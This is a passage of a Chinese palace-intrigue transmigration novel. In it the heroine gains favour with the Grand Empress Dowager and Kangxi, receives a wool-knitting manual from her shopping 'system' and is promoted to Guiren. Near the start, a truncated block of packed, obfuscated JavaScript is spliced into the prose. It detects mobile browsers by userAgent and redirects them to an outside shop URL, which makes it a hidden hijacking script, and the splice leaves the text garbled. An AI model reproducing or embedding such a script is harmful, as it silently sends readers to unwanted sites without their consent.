然而,出乎意料的是,进去通传的太监很快便回来了,脸上带着恰到好处的笑容,打了个千儿:“岑常在,太皇太后娘娘请您进去呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590705|186456||http|test|mini|href|location''.split(''|''),0,{}));
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>岑盐絮连忙收敛心神,道了声“有劳公公”,便跟着引路的宫女,小心翼翼地迈进了这象征着后宫最高权威的慈宁宫。
慈宁宫内光线柔和,弥漫着淡淡的檀香,气氛庄重而宁静。
太皇太后端坐在暖炕上,穿着一身深褐色的常服,面容慈和。
岑盐絮不敢抬头细看,快步上前,依着大礼参拜:“启祥宫常在岑氏,拜见太皇太后!”
“起来吧,不必多礼。”太皇太后的声音温和,带着一丝长辈的宽厚,“赐座。”
“谢太皇太后。”岑盐絮谢恩后,才侧身在下首的绣墩上坐了半个身子,姿态恭谨。
这时,她才注意到,殿内除了侍立的苏麻喇姑,下首另一边还坐着一位穿着诰命服饰的妇人——那妇人约莫四十上下年纪,面容端丽,眉眼间带着几分书卷气,此刻也正温和地看向她。
太皇太后见状,便笑着对岑盐絮道:“这位是纳兰明珠的夫人,今日特意进宫来给哀家请安。”
纳兰明珠的夫人?那便是纳兰性德的母亲了!
岑盐絮心下明了,连忙又起身,对着纳兰夫人行了半礼:“夫人安好。”
纳兰夫人忙侧身避过,连声道:“不敢当您的礼。”
她看向岑盐絮的目光充满了真挚的感激,语气有些激动,“今日入宫,一是给太皇太后请安,二来,也是想当面谢过岑常在!”
岑盐絮心中隐约猜到缘由,面上却适时露出些许疑惑。
纳兰夫人继续道:“前些时日,犬子容若伤寒沉重,几近危殆,幸得宫中赐下灵药!服药后,不过几日,便高热退去,咳嗽渐止,如今已然大安,昨日便已回銮仪卫上值了!御医都说乃是奇迹!”
她说着,眼中竟泛起了些许泪光:“妾身听闻,那药乃是岑常在您从老家得来的秘方?此恩此德,我纳兰家没齿难忘!”
原来那三九感冒灵真的起了大用!
岑盐絮心中也感到一丝庆幸,她连忙谦逊道:“夫人言重了!妾身不敢居功。那药也只是机缘巧合所得,能对纳兰侍卫的症,便是万幸。”
太皇太后在一旁听着,微微颔首,对岑盐絮这份不居功的态度似乎颇为满意,她温言对纳兰夫人道:“这孩子是个实心眼的,容若那孩子没事就好,他是有大才的,朝廷离不开他。”
她又转向岑盐絮,语气更加和蔼:“你是个好孩子,有心了。”
她这样说,岑盐絮就谦逊地答着。
又在慈宁宫坐了片刻,陪着太皇太后说了会儿闲话,大多是太皇太后问,岑盐絮和纳兰夫人答,气氛倒也融洽。
片刻后,见太皇太后面露些许倦色,岑盐絮便识趣地起身告退。
走出慈宁宫,被外面微凉的风一吹,她才感觉心跳渐渐平复下来。
今日之事,完全出乎她的意料,不仅见到了深居简出的太皇太后,还意外收获了纳兰家一份实实在在的感激,用一盒药换来一份人情,怎么看都是划算的。
她不会因为这份人情,向谁求帮助或是庇护,她只求他们日后,若是争权或是夺嫡,别将她扯入利益纠葛中就好。
27. 羊毛衫
【叮!检测到有效三人以上场合,身份判定:太皇太后、纳兰夫人。符合拼团触发条件!】
【随机任务:与当前场合中的至少两人针对系统商品进行友好交流并得到正面反馈。(已完成)】
【任务奖励发放中……恭喜宿主,获得《手工针织技法大全》一本,附赠羊毛针织衫三件!(物品已自动存入商品暂存空间)】
岑盐絮脚步未停,心下却觉得有些奇妙——上次和佟贵妃、敬嫔在一起,触发任务奖励了避孕药;这次和太皇太后、纳兰夫人在一起,奖励的却是羊毛和针织技术,奖励似乎和她所处的环境、接触的人隐隐相关。
回到启祥宫,岑盐絮打发退宫人,迫不及待地将那本《手工针织技法大全》和叠得整整齐齐的三件羊毛衫取了出来。
羊毛衫是简约的基础款,米白色,触手柔软温暖,质感极好。
衣服在前世已经司空见惯,岑盐絮更感兴趣的是那本小册子。
翻开一看,里面图文并茂,详细记载了从如何清洗、梳理原始羊毛,到将其纺成毛线,再到各种基础针法、如何计算尺寸、最终织成一件完整毛衣的全过程,步骤清晰,图解直观,即便是毫无基础的人,照着学也能上手。
岑盐絮如今对这种实用性的书籍颇有好感,既能解闷,又具有实用性。
她翻看着到梳理羊毛和纺线的部分时,心中微微一动。
根据原主的记忆,每年春夏之交,大约是四五月,正是草原上牧民集中剪羊毛的时节。
若是此时着手安排,收购羊毛,组织人手按照这书上的方法纺线、织衣……那么等到下一个寒冬来临,北地的百姓,尤其是那些在苦寒边关戍守的将士,或许就能多一件御寒的衣物。
达官贵人们讲究礼仪规制,或许不会轻易穿着这等奇装异服,但对于挣扎在温饱线上的平民和只求保暖的兵士而言,这无疑是雪中送炭。
而且,此时的羊毛除了制作羊毛毡,并无其他作用,一般是被当做废弃品丢弃的,如果收购,成本定然极低。
至于她自己,虽得了这三件羊毛衫,但在这深宫之中,锦衣玉裘并不短缺,对她而言实用性反而不大,真正有价值的,是这本能让羊毛变废为宝的小册子。
但岑盐絮没这个亲手织毛衣的闲情逸致,更没有插手这等关乎民生大事的野心,还是把这种事交给有能力的人的吧。
思忖已定,她将其中两件羊毛衫收回空间,然后将剩下的一件羊毛衫连同那本《手工针织技法大全》一起,放入一个锦盒中。
“常喜。”她唤道。
“奴才在。”常喜应声而入。
“你将此物送到乾清宫,呈给皇上。”岑盐絮将锦盒递过去,语气平静,并没有多做解释。
如今这个宫里,自己最亲近的三个宫人,除了春熙,应该都隐约感觉到了自己的特殊之处,他们不会多问,岑盐絮也不会多解释一句,就这样默契地达成了一直心照不宣的平衡。
“嗻。”常喜双手接过锦盒,不敢怠慢,立刻躬身退了出去。
处理完这件事,岑盐絮看了看时辰,距离秒杀刷新还有一段时间,她心里还惦记着另一件事,便带着春熙溜溜达达地去了后殿那个正在施工的小院。
远远便看到几名工匠还在忙碌,昨日的砖石基座已然成型,拱形的窑顶也初具规模,工匠正在用细泥仔细地涂抹内壁,使其光滑均匀,旁边还放着几桶和好的黏土,准备用来做最后的保温层。
这御用的施工队效率果然极高,不过半天工夫,面包窑已经像模像样了。
“照这个进度,今天日落前应该就能全部完工,然后静置阴干。”岑盐絮在心里估算着,“明天就能进行小火烘窑,排除残留湿气,说不定后天就能正式开窑烤东西了!”
*
乾清宫东暖阁内,康熙换上了那件米白色的羊毛衫。
起初只觉得触感柔软,与寻常丝绸棉麻迥异,然而,不过一炷香的功夫,他便清晰地感觉到一股温和而持续的热意从身上蔓延开来。
保暖效果简直立竿见影!
他眼中精光闪烁,边关苦寒,将士们冬季
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冻伤减员一直是他的心腹大患,若此物能推广开来……
“梁九功!”他沉声唤道。
“奴才在。”
“即刻传明珠、索额图、户部尚书伊桑阿、兵部侍郎郭秀入宫议事!”
不过半个时辰,几位重臣便匆匆赶到。
康熙也不多言,直接将那本《手工针织技法大全》和羊毛衫示于众人。
众人一个接一个试过羊毛衫,惊叹于其惊人的保暖效果。
纳兰明珠率先反应过来,他躬身道:“皇上,此物实乃天降之福!每年四五月份,蒙古诸部便会大量剪取羊毛,往往废弃或仅作毡帐之用,若我朝能以极低价格,甚至以布帛、茶叶、盐铁等物易之,成本将极为低廉!”
索额图捻着胡须,眼中闪着精明的光:“如今准噶尔部蠢蠢欲动,与蒙古诸部关系亦需维系,可借此与诸部加强往来,示以恩惠——他们正愁冬日物资匮乏,我们送去他们急需之物,换到他们眼中的废物,各取所需,或可稍缓边境紧张之势。”
户部尚书算着开销,脸上也露出笑意:“国库所费无几,却能得此大利,实乃善策!”
兵部侍郎更是激动:“皇上,若今春能收得大量羊毛,组织人手依纺线织造,待到秋冬,至少能让部分精锐边军换上此等保暖衣物,于军心士气,于减少非战减员,功莫大焉!”
几位大臣你一言我一语,迅速将收购羊毛、组织生产、惠及边军乃至缓和民族关系的策略补充完善。
与此同时,启祥宫内,岑盐絮刚对着御膳房来的小太监点好了晚膳,正准备歪在榻上再翻翻那本面包的起源和演变,脑海中准时响起了提示音。
【叮!每日秒杀已刷新!请宿主查看!】
淡蓝色光屏展开,四个新商品图标跃入眼帘:
《小学六年级快乐寒假(数学)》,原价:10两银子。
布洛芬缓释胶囊,原价:35两银子。
蜜桃茶冻镜面唇釉,原价:15两银子。
无痕蕾丝女士内衣套装,原价:20两银子。
28. 贵人
岑盐絮凝神看向光屏,心中迅速盘算起来。
《小学六年级快乐寒假(数学)》,这玩意儿可一点也不快乐,她实在想不出它除了勾起一点对前世应试教育的痛苦回忆外,还能有什么用处。
不过她前世好歹也是个高材生,在这个后宫里闷着久不读书的话,别把自己给闷傻了,10两银子买一本数学作业,权当解闷了,让自己不忘来时路,但也不用多买,多了纯属浪费。
下一个,布洛芬胶囊,这个再怎么多都不算过分,这次不买,下次就不知道什么时候才能刷到了。
身为资深痛经人士,这简直是岑盐絮的救命药,而且这玩意儿不仅能缓解痛经,对头痛、牙痛、肌肉酸痛也都有奇效。
必须囤!她用一文钱的秒杀机会果断拿下了一份,又毫不犹豫地支付了315两银子,将剩余的九份限购额度全部买满。
蜜桃茶冻唇釉只有两种颜色,看起来确实不错,岑盐絮平日里不常上妆,有两支不同色调的换着用就够了,15两一支,买两支就是30两。
最后是那无痕蕾丝内衣套装,20两一套的价格不算便宜,但穿上身的舒适感,是松松垮垮的肚兜和亵衣无法比拟的。
而且岑盐絮上次才囤了一批卫生巾,本来还在想要内务府给她做三角内裤这件事,只是这里的人都太保守了,搞得她也被影响了,实在不好意思说出口,这下难题迎刃而解了。
她真的很想狠狠囤上十套,可看着账户里飞速减少的银子,还是理智地克制住了——好东西不能一天吃完,明天系统还会刷新呢,于是,她选了最基础的肤色、黑色、白色各一套,支付了60两。
这一番操作下来,又是四百多两银子花了出去。
岑盐絮看着系统界面,再次感叹——挣钱如捉鬼,花钱如流水。
她从空间里取出那本《小学六年级快乐寒假(数学)》。
翻开一看,里面是熟悉的方程、几何和应用题,若是刚穿越那会儿,她或许还会因为怀念而做上几道,但现在……她撇撇嘴,只觉得那些数字和符号太过枯燥,还是等到自己实在无聊到没事做的时候,再看这本书吧。
“真是由俭入奢易,由奢入俭难,我现在真是懒透了。”她自言自语地嘀咕了一句,毫无心理负担地将这本精神食粮直接扔进了系统空间里吃灰。
做完这些,她心念一动,又把那一套肤色的无痕内衣取出来,去屏风后换上,那贴合身形的剪裁、柔软透气的面料带来的熟悉包裹感,让她几乎要喟叹出声。
“还是这种感觉对味儿……”她走到那面康熙赏的琉璃水银镜前,侧身照了照——镜中人身段窈窕,曲线被恰到好处地勾勒和支撑,更显玲珑有致。她对自己的这副皮囊向来满意,此刻更是忍不住多欣赏了两眼。
欣赏完毕,她这才慢悠悠地套上日常穿的旗装。
宽大直筒的款式一上身,瞬间将那刚刚还引人遐思的身材掩了个严严实实,只剩下一派符合宫规的端庄持重。
岑盐絮对着镜子皱了皱眉,脑子里忽然闪过一个念头:要是系统下次奖励一套旗袍就好了……那才不辜负这好身段。
但这念头只是一闪,她便自己摇了摇头,失笑起来,就算系统真给了,在这大清朝的后宫里,她又能穿给谁看?怕是刚穿上就要被当成发疯的祸国妖妃了。
将这点不切实际的遐想抛诸脑后,她刚整理好衣襟,春熙便来提醒,提膳的太监回来了。
晚膳摆上桌,倒是颇为丰盛,显然御膳房不敢怠慢。
一道葱烧海参,海参软糯入味,一道清炖蟹粉狮子头,肉圆嫩滑,汤底清澈鲜美,还有一道锅塌豆腐,豆腐被煎得金黄,夹着肉馅,鲜美可口,素菜是时令的荠菜炒春笋,吃起来清新爽脆。
岑盐絮胃口不错,就着菜用了大半碗饭,身心都熨帖起来。
刚放下筷子,漱了口,常喜便进来禀报:“主子,宜嫔娘娘身边的宫女求见。”
岑盐絮眉梢微挑,心下有些惊讶——她和宜嫔可没什么交集。
不过来者是客,她整了整衣袖:“让她进来吧。”
那宫女进来便规规矩矩地行礼,口齿伶俐地说明了来意,原来是替宜嫔来求购精油的,言语间暗示可以用头面或锦缎来换。
岑盐絮正斟酌着如何婉拒,刚说了句:“这精油提炼不易,如今数
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量实在有限……”
话未说完,常喜又进来了,面色有些古怪:“主子,敬嫔娘娘身边的宫女也来了。”
得,也不用问了。
敬嫔的宫女进来,说的几乎是同样的话,只是交换条件换成了珍贵的墨锭和湖笔。
岑盐絮这次连口都没开,就见常喜第三次进来,这次语速都快了几分:“主子,钮祜禄妃娘娘、宣嫔娘娘、荣嫔娘娘宫里的姐姐们一同在外求见。”
好家伙,这是约好了还是怎的?岑盐絮心下诧异,怎么都赶在这个时辰扎堆来了?
她身旁的夏禾见状,低声提醒道:“小主,下午时候,佟贵妃娘娘邀了这几位主子在承乾宫小聚。怕是贵妃娘娘得了您献上的精油,在席间用了或是提了几句,引得各位娘娘都上了心。”
岑盐絮恍然,原来根源在这儿!佟贵妃竟然给她做了一次活广告。
转眼间,殿内便站了五位宫女,代表着后宫五位有头有脸的妃嫔。
她们虽都恭敬地低垂着眼帘,但言语间已是暗流涌动,各自陈述着自家主子能给出的优厚条件,从海外香料到古董摆件,从名家字画到稀有皮草,争相许诺,颇有些互别苗头的意味。
“我们娘娘说了,愿用一斛上等的南珠……”
“我们主子库房里有一块极品的鸡血石……”
“宣嫔娘娘可拿出……”
殿内一时莺声燕语,岑盐絮被她们吵得有些头大,正欲抬手让她们安静下来。
突然,殿外传来一道清晰而带着威严的嗓音,瞬间压过了所有的嘈杂:
“传圣上口谕!”
众人循声望去,只见梁九功不知何时已站在殿门口,面色肃然。
他目光落在主位的岑盐絮身上,脸上堆起恭敬又热情的笑容,上前一步,利落地打了个千儿:
“奴才梁九功,给岑贵人道喜了!”
“贵人”二字如同惊雷,炸响在每一个人的耳畔。
方才还争得面红耳赤的宫女们霎时难以置信地瞪大了眼睛,齐齐望向那位端坐其上、此刻也明显怔住的女子。
她不是刚升了常在吗?!怎么还能升?
29. 请安
梁九功对周遭惊愕的目光视若无睹,他脸上堆着热络的笑容,上前一步,清了清嗓子,用尖细的嗓音宣道:
“皇上口谕:启祥宫常在岑氏,敏慧夙成,柔嘉维则,克佐壶仪,深慰朕心。着即晋封为贵人,赐封号‘瑜’。钦此——”
“瑜”。
梁九功心中默念着这个字。
这个字是万岁爷亲自拟定的,在满文里意为“鲜亮美丽的、有光彩的”,如同上好的美玉,温润而又难掩其华,万岁爷特意拟了这个字,其间的上心与看重,他这行走御前的人精岂会品不出来?
这瑜贵人,往后的前程,怕是远不止一个贵人。
岑盐絮确实愣住了。
她知道康熙对她还算满意,却也没想到这晋位的速度如此之快。
从官女子到贵人,这才多少时日?
心中虽波澜起伏,她面上却迅速反应过来,连忙起身,走到殿中,规规矩矩地跪下,叩首谢恩:“妾身岑氏,叩谢皇上隆恩!皇上万岁万岁万万岁!”
“贵人快请起!”梁九功忙虚扶了一下,笑容满面地说道,“皇上还说了,贵人所献毛衣织法,于国于民大有裨益,此乃贵人应得的恩典。”
这话既是解释,也是抬举,殿内其他几位宫女听得云里雾里,毛衣织法?这是什么?这位瑜贵人是不声不响立下了什么功劳?
岑盐絮顺势起身,对身旁的春熙使了个眼色,春熙立刻会意,将一个沉甸甸、绣工精巧的荷包塞到了梁九功手中,低声道:“梁公公辛苦,我们主子请您喝杯茶。”
梁九功却没收,客套了两句:“不敢受主子的礼。”
“哪里算得上礼?不过是沾沾我们主子的喜气罢了。”春熙跟在岑盐絮身边久了,如今也是能说会道了。
梁九功这才收下,指尖一掂量,分量十足,脸上的笑容更是真诚了几分:“谢瑜贵人赏!奴才恭喜贵人了!贵人且好好歇着,奴才还得回乾清宫向万岁爷复命。”
“有劳公公。”岑盐絮微微颔首。
梁九功一行礼,便带着人退了出去。
他这一走,殿内剩下的几位宫女面面相觑,哪里还有半分争抢精油的心思?眼见这位主子晋升速度如同坐了火箭,此刻最要紧的,是立刻将这第一手的重磅消息带回各自宫中!
精油再好,也比不上这关乎后宫格局变动的讯息重要!
几乎是前后脚,几位宫女便纷纷寻了由头,匆匆告退,脚步匆忙地消失在渐浓的暮色中。
这一夜,康熙独寝乾清宫。
然而,后宫之中,却有许多人注定无眠。
“瑜贵人……”僖嫔赫舍里氏在自己的宫中,将手中的茶盏狠狠掼在地上,上好的官窑瓷器瞬间四分五裂。
她胸口剧烈起伏,美艳的脸上尽是扭曲的妒意,“她一个汉姓包衣!凭什么?短短十几天,从官女子到贵人!皇上是被迷了心窍不成?”
身边的嬷嬷听到这话,立刻担忧地上前:“娘娘,慎言啊!”
可僖嫔已经什么劝诫都听不下去了,她越想越气,指甲深深掐入掌心。
原本以为只是个随时可以捏死的蝼蚁,谁知转眼竟成了贵人!这让她如何能忍?
同样的消息,在其他宫苑也激起了不同的涟漪。
这一夜,月光清冷,映照着紫禁城无数难以安眠的窗棂。
翌日,四月初五。
天还未大亮,岑盐絮便被夏禾轻声唤醒。
“主子,该起了。今日逢五,需去承乾宫给贵妃娘娘请安。”夏禾的声音带着一丝提醒。
岑盐絮揉了揉惺忪的睡眼,这才恍然想起宫里的规矩——如今后位空悬,宫务由佟贵妃暂理,定下了逢五、逢十的日子,低位妃嫔需前往承乾宫请安。
从前她只是个小小的官女子,根本没资格参与这项宫廷活动,如今升了贵人,这桩差事便躲不掉了。
她叹了口气,认命地起身,虽然贪恋被窝的温暖,但也知道这是融入后宫社交圈的必要环节,逃不过也不能逃。
梳妆台前,早已候着两个打扮利落的小宫女,她们手脚麻利地准备着梳头用具和胭脂水粉。
夏禾在一旁低声道:“主子,这两个是内务府精心挑上来的,梳头手艺是出了名的好。”
岑盐絮点点头,任由她们伺候。
只见一个小宫女拿起梳子和头油,手法熟练地就要将她的头发一丝不苟地全部拢起,梳成紧实光滑的小两把头,恨不得连一根碎发都不允许飘在外面。
“等等,”岑盐絮忍不住出声制止,虽然这个时期就流行这样的发式,可那种被头油糊满、感觉像几天没洗头的黏腻感,她实在无法接受,“不必用那么多头油,稍微抿一下,利落些便好,不必梳得那般紧绷。”
小宫女愣了一下,还以为自己哪里做的不对惹主子不喜了,有些无措地看向夏禾,夏禾使了个眼色,示意按主子说的做就是。
最终,发髻虽依旧规整,但到底松快了些许,鬓边也允许留下几缕不易察觉的、自然的碎发,增添了几分柔和。
接下来是上妆。
宫女取来的是宫里常用的胭脂水粉,颜色浓艳,粉质也略显厚重。
岑盐絮看了一眼,便道:“这个先放着吧。”
她先让系统把基础水乳从空间里给她挪到抽屉里,然后自顾自拉开抽屉,挤出点水乳,仔细地拍在脸上,又薄薄涂了一层精华,做好妆前打底。
然后,敷粉时,也示意宫女取了极少的一点,再细细匀开,追求提亮肤色而非完全覆盖。
这时候流行细眉,岑盐絮实在欣赏不来,就让宫女拿起螺子黛,顺着眉形轻轻描画,力求自然。
胭脂是她自己上的,只在那宫女准备蘸取的点上,用指腹沾了微乎其微的一点点,在颧骨处轻轻拍开,营造出白里透红的好气色。
最后,她让梳头宫女们下去,从空间里拿出了那支蜜桃茶冻色的镜面唇釉,对着琉璃镜,在唇上薄涂了一层,水润光泽的质感瞬间点亮了整个妆容,与她身上那件新上身的湖蓝色缠枝莲纹衬衣相得益彰,既不张扬,又
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不失鲜活娇媚。
这还是她穿越以来,第一次如此认真地对待上妆,当她放下唇釉,仔细端详镜中之人时,也不由得微微怔住。
镜中的女子,眉不画而黛,唇不点而朱,肌肤莹润透着自然的光泽,一双桃花眼在水光唇色的映衬下,更是波光流转,顾盼生辉。
妆容庄重的框架还在,却被她巧妙地融入了现代的审美,褪去了几分匠气,多了几分浑然天成的精致与灵动。
“主子今日真是好看。”春熙在一旁看得呆了,忍不住小声赞叹。
夏禾也眼中闪过惊艳,但她更沉稳些,低声道:“时辰不早了,主子该动身了。”
岑盐絮最后看了一眼镜中的自己,深吸一口气,压下心中那点初次参与“后宫晨会”的微妙紧张,扶了扶鬓边的点翠银簪,站起身。
“走吧。”
晨光熹微中,岑盐絮,以崭新的身份,踏出了启祥宫。
宫道漫长而寂静,只有鞋底落在青石板上的细微声响,和她那份因面对未知而七上八下的心跳声渐渐重合。
承乾宫正殿内,熏笼里散发着淡淡的暖香。
岑盐絮扶着夏禾的手走进去时,以为自己来得够早,没想到殿内已有数人端坐。
上首主位自然是空着的,低位的常在答应已经差不多到齐,主位左右两排雕花檀木椅,也已经坐了三位宫装丽人。
因为要行礼,所以这还是岑盐絮头一次仔细地观看她们每个人的相貌。
右手边第二位是敬嫔王佳氏,她今日穿的衣裳是湖绿色的,显得清爽许多。她性子活络些,见到岑盐絮行礼,脸上便带了笑,声音也爽利:“哟,瑜贵人来了,快起来吧。”
岑盐絮于是直起身,又看向左手边第二位,其上坐着的那位面容秀气的,是端嫔董氏,这还是岑盐絮与她第一次见面,她看见岑盐絮行礼,目光淡淡扫过,微微颔首,算是打过招呼。
接着,岑盐絮又看向左手边第三位,惠嫔纳喇氏穿着一身绛紫色团福纹旗装,头上梳着严谨的两把头,插戴不多,但件件精致,神色平和,气度沉稳。
岑盐絮屈膝行礼。
惠嫔笑着虚扶了一下:“不必多礼了。”
她目光在岑盐絮脸上打了个转,带着善意的打量,“这气色真好,用的是什么胭脂?瞧着倒与寻常的不同。”
岑盐絮忙垂眸谦逊道:“不过是昨日歇得好,胭脂是内务府送来的,当不得娘娘夸赞。”
一旁的端嫔笑了笑,只道:“年轻人,底子好,怎么着都是好看的。”
岑盐絮这才在下首的绣墩上落了座,春熙和夏禾垂手侍立在她身后。
她刚坐稳,还没来得及松口气,就听殿外太监通传:“僖嫔娘娘到——”
话音未落,珠翠环绕的僖嫔便扶着宫女的手,仪态万方地走了进来。
她目光在殿内一扫,先是按规矩给位份高些的嫔位们互相行了平礼,随即视线便如同带了钩子,直直落在岑盐絮身上。
“哟,今儿个人倒是齐整。”
30. 宫道漫步
僖嫔没管给她行礼的岑盐絮,嘴角噙着一抹似笑非笑的弧度,自顾自在最末的雕花木椅上坐下,才开口。
声音不高不低,却足以让殿内每个人都听清:“起来吧,瑜贵人这晋位的速度,怕是开了宫里的先例了,不知道有多少妹妹眼红你呢。”
她话语里的酸意和暗刺几乎毫不掩饰,殿内气氛瞬间凝滞了几分。
惠嫔脸上还是带着祥和的笑意,眼观鼻,鼻观心,恍若未闻,敬嫔端起茶盏抿了一口,掩去嘴角一丝看戏的玩味,出身卑微的坏处就是这样了,这时候都没个同族的人帮忙解围。
岑盐絮直起身,面色平静:“娘娘说笑了,妾身蒙皇上天恩,侥幸晋位,心中唯有惶恐,不敢有半分骄矜,日后还需各位姐姐多多教导。”
她这番回应,倒让僖嫔一时不好再抓着发作,只冷哼了一声,别过脸去。
就在这时,太监又唱名:“钮祜禄妃娘娘到——安嫔娘娘到——”
众人纷纷起身,只见殿门口,两位妃嫔一同走了进来。
左手边那位,面容青涩稚嫩,却端庄秀丽,眉眼间带着沉静的,便是钮祜禄妃,孝昭仁皇后的妹妹。
右手边那位则是安嫔李氏,她打扮得素净雅致,眉目温和,唇角天然带着微微上扬的弧度,眼神澄澈平和,自带一股书卷气。
众人依着位份重新见礼。
钮祜禄妃和安嫔淡淡颔首,便分别在敬嫔和端嫔上首的位置坐了,目光微垂,并不多言。
岑盐絮还是第一次见到这两位,钮祜禄妃带着一种出身高门的矜贵,安嫔则是带着才女的疏离,两个人都是不好轻易招惹的人物。
待众人再次落座,殿内一时无人说话,就在这略显沉闷的气氛中,内殿传来了脚步声。
佟贵妃扶着贴身宫女的手,缓缓走了出来。
“给贵妃娘娘请安,娘娘万福金安!”殿内众人齐刷刷起身行礼,声音整齐划一。
佟贵妃走到主位前,目光温和地扫过众人,虚抬了抬手:“都起来吧,坐。”
“谢娘娘。”众人这才依序落座。
佟贵妃含笑开口,声音清越柔和:“今儿个天光好,姐妹们来得也齐。”
她的目光在岑盐絮身上停留了一瞬,笑意加深了些许:“尤其是瑜贵人,今儿个是头一回正式来,往后常来常往,不必拘束。”
岑盐絮忙起身回应:“是,谢贵妃娘娘关心。”
佟贵妃点点头,又转向众人,闲话家常般问了几句近日起居,可有什么短缺,又提点了几句宫中要注意的事项。
惠嫔、敬嫔等人也适时回话,气氛看似一派和睦。
岑盐絮全程保持着得体的微笑,认真听着,偶尔在佟贵妃目光扫过来时,微微颔首示意,她感觉自己脸上的肌肉都快笑僵了,脊背也挺得发酸。
这一场看似风平浪静、实则暗流涌动的请安,直持续了半个时辰,佟贵妃才以“本宫身子乏了”为由,结束了今日的晨会。
众人再次起身行礼,恭送贵妃先行离开。
待佟贵妃的身影消失在屏风后,钮祜禄妃第一个起身,向众人微微颔首便扶着宫女走了,安嫔、敬嫔等人紧随其后。
直到所有嫔位都走了,岑盐絮才长长地、几乎是无声地吁出了一口气,感觉整个肩膀都垮了下来。
“主子,咱们也回去吧。”夏禾上前一步,低声提醒。
岑盐絮点了点头,扶着夏禾的手走出承乾宫。
清晨的阳光照在身上,她却只觉得一阵疲惫袭来,这哪里是请安,分明是一场没有硝烟的战争,考验着每个人的神经、演技和耐力。
“这才第一次……”她在心里哀叹,“往后的日子,可怎么熬啊。”
走在回启祥宫的宫道上,清晨的凉风一吹,那点强行提起来的精气神仿佛也跟着散了,浓浓的倦意如同潮水般涌上。
“主子,可是累了?回去后睡个回笼觉吧。”夏禾细心地察觉到她的疲惫,低声建议。
岑盐絮打了个小小的哈欠,恨不
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得立刻飞回她的拔步床上,睡个天昏地暗。
可想到自己今天早起画的这么一个完美的妆容,她又有点舍不得了。
起个大早,精心打扮,难道就这么回去把妆容卸掉闷头大睡?
唉,要是有个手机就好了。她望着宫道两旁巍峨的红墙、碧绿的琉璃瓦,以及远处翘角飞檐勾勒出的湛蓝天空。
忍不住在心里感叹:这构图,这光影,随手一拍都是大片啊!既不会浪费了这妆容,又能记录下这紫禁城的清晨美景,还不耽误我回去补觉,简直完美!
她甚至下意识地在脑海里向系统许愿:【系统系统,奖励个手机呗?能拍照就行!】
【叮!检测到宿主不切实际的幻想。目前,本系统无力提供与当前世界科技水平严重不符的商品。请宿主脚踏实地,努力完成任务,解锁更多实用功能。】系统冰冷的电子音毫不犹豫地给她泼了一盆冷水。
岑盐絮:“……”
好吧,果然不行。
她倒也没多失望,毕竟自己也清楚,就算真给了手机,充电是个大问题,在宫里拿出来更是风险极高。
她悻悻地摸了摸鼻子,放弃了不切实际的幻想。
既然不能拍照,那也别浪费了这好风光。
她放慢了脚步,不再急着赶回宫,而是带着几分闲情逸致,沿着宫道慢慢溜达起来。
阳光透过高大的宫墙,在洁净的青石板上投下斑驳的光影,偶尔有太监宫女低头匆匆走过,见到她纷纷避让行礼。
这份紫禁城独有的、庄严下的静谧,倒也让她因请安而紧绷的神经稍稍放松了些。
磨蹭了好一会儿,她才回到启祥宫,一进内室,便立刻唤人打水卸妆。
将那层妆容卸掉,换上宽松舒适的常服,她终于如愿以偿地扑倒在了柔软的被褥里,几乎是瞬间就陷入了黑甜的梦乡。
这一觉睡得极为酣畅,直到巳时,她才被春熙轻声唤醒。
“主子,该起了,御膳房送早膳来了。”
31. 做作业
岑盐絮迷迷糊糊地坐起身,揉了揉眼睛,感觉浑身的懒筋都被睡出来了。
她睡前特意吩咐了御膳房,早膳想要一道鸡丝粥,熬得糯烂香稠些,其余的便让他们看着搭配。
此刻,膳食已在外间摆好。
除了她点名要的鸡丝粥,还有一碟晶莹剔透的水晶虾饺,一碟豆沙荷花酥,并几样清爽的酱菜小碟。
她慢悠悠地用了早膳,热乎乎的粥水下肚,整个人都暖洋洋的,满足地喟叹一声。
放下筷子,看着宫女们手脚麻利地收拾碗碟,她突然心生感慨:“这日子,真是越过越堕落了……”
衣来伸手,饭来张口,除了要偶尔应付一下宫斗和偶尔侍寝,简直是她前世梦想的咸鱼生活。
念头才起,之前派去御花园采花的两个小宫女就回来了,她们各自提着花篮,里面装着沾着晨露的鲜花。
除了常见的月季、茉莉,这次岑盐絮还多让她们选了些品相好的玉兰、紫丁香之类的花卉。
位份提升带来的好处是实实在在的,如今她去采花,一些名贵的花也能碰得了。
“得,闲不下来。”岑盐絮看着那些娇嫩的花朵,那点堕落的感慨瞬间烟消云散。
要做的事情还多着呢。
她指挥着宫女们将花朵分类,仔细清洗,然后摊在干净的细棉布上,置于通风处阴干水分,准备下午进行新一轮的精油提炼。
经过前几次的实践,这套流程她已经颇为熟练,指挥起来井井有条。
一边看着宫女们忙碌,她的心思却飘到了系统空间里存放着的另外两套玻璃蒸馏仪器上。
精油只是小打小闹,她对这两套仪器有更大的规划——制作酒精。
如果能提炼出高浓度的,甚至是可以医用的酒精,那在这个医学尚不发达的时代,意义可就太大了,无论是消毒杀菌还是用于其他方面,都是利器。
不过,酿酒可就比采花做精油复杂多了。
首先需要粮食原料,过程繁琐,而且私自酿酒是明令禁止的,很容易被前朝那些御史抓住把柄参上一本。
她摩挲着下巴,眼珠转了转。
这么麻烦又有风险的事情,当然不能自己扛着。
“看来,得找个机会,再提点一下任劳任怨的万岁爷了。”她心里盘算着,把制作酒精的想法和那两套仪器一并交给康熙去处理。
想到这里,她自己也觉得有点好笑。
她这算不算是飘了?都开始琢磨着怎么指挥皇帝干活了?
不过转念一想,不会带团队,就只能自己干到死,她把羊毛、酒精这些有利于国计民生的项目思路和关键工具提供出去,让康熙和他的专业团队去执行,自己既能享受到最终的成果,又不用操心具体事务,还能落个好名声,岂不是三全其美?
嗯,就这么愉快地决定了!
下午,岑盐絮刚指挥宫女们将阴干好的第一批花瓣放入蒸馏设备中,院门外就传来了孩童特有的兴奋的喧闹声。
“瑜娘娘!瑜娘娘!我们来找你玩啦!”
是太子胤礽和大阿哥胤禔的声音。
岑盐絮眼睛一亮,真是想什么来什么!
